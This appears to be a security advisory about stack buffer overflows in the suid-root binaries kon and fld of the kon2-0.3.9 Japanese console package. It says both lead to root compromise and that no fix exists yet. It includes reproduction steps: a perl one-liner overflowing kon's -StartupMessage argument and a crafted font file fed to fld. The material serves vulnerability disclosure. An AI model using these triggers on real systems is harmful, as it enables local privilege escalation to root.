COMMAND
"kon2" package
SYSTEMS AFFECTED
kon2-0.3.9
PROBLEM
Chris Evans found following in "kon2" package - a program for
displaying Japanese on the console. In the version Chris briefly
examined, there were three suid-root execuatbles
- kon
- fld
- newvc
Here are details of breakages in "kon" and "fld". Both lead to
root compromise, although it wasn't verified if something has
dropped root privileges or not at the time of the overflows.
No discussion of code flaws today, because boring stack overflows
are being used
1) kon
======
kon VGA -StartupMessage `perl -e 'print "A"x10000'`
=> segfault with EIP 0x41414141
2) fld
======
a) Create file "read.me.and.die", contents:
CHARSET_REGISTRY"AAAAAAAAAAAAAAAAAAA"
CHARSET_ENCODING"AAAAAAAAAAAAAAAAAAA"
CHARSET_ENCODING"AAAAAAAAAAAAAAAAAAA"
...
BUT substitute each sequence of A's for 200 A's
b) fld -t bdf read.me.and.die
You don't get a clean 0x41414141 stacktrace but that's just a
minor detail, and these things are always circumventable (a
pointer gets toasted inbetween two char[] buffers on the stack)
SOLUTION
Nothing yet.